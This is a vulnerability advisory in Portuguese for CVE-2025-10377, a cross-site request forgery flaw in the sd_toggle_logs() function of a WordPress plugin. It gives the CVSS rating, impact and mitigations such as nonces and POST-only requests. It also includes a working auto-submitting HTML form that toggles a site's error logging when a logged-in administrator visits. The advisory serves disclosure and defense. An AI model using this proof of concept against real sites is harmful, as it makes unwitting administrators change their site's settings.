
CVE-2025-10377
Tipo de Vulnerabilidade: Cross-Site Request Forgery (CSRF)
Função Afetada: sd_toggle_logs()
CVSS v3.1: 4.3 (Médio)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(Nota: A pontuação reflete uma alteração não autorizada de estado que requer uma vítima administradora e interação do usuário.)
Descrição da Vulnerabilidade:
A função sd_toggle_logs() processa operações sensíveis, como ativar/desativar Logs de Acesso à Página, Logs de Erro e Logs de Entrega de Email. No entanto, ela depende apenas do parâmetro $_REQUEST['log_type'] e de uma verificação de capacidade (current_user_can( 'manage_options' )) sem implementar proteção CSRF (por exemplo, check_admin_referer() ou um nonce).
Como resultado, um atacante pode induzir um Administrador logado a visitar uma página maliciosa que envia silenciosamente uma requisição manipulada, causando alterações não intencionais de ativação/desativação no registro do site.
Alterações não autorizadas de estado para os recursos de registro do site (Log de Acesso à Página, Log de Erro, Log de Entrega de Email).
Se o registro de erros estiver ativado, o site pode começar a escrever erros de aplicação em um caminho de arquivo determinado pelo plugin (aumentando a chance de divulgação de informações operacionais através de logs), mas o impacto direto desta questão é a própria alternância de estado.
Quando um Usuário logado com manage_options visita a página do atacante, o respectivo recurso de registro é alternado sem consentimento explícito.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Implementar nonces do WordPress (check_admin_referer() ou wp_verify_nonce()) para validar requisições.
Restringir ações sensíveis apenas a requisições POST.
Evite depender apenas de verificações de capacidade para proteção contra CSRF.
Se você não conseguir reproduzir o problema exatamente como descrito no relatório, consulte a seguinte demonstração em vídeo (PoC) para um cenário claro de reprodução: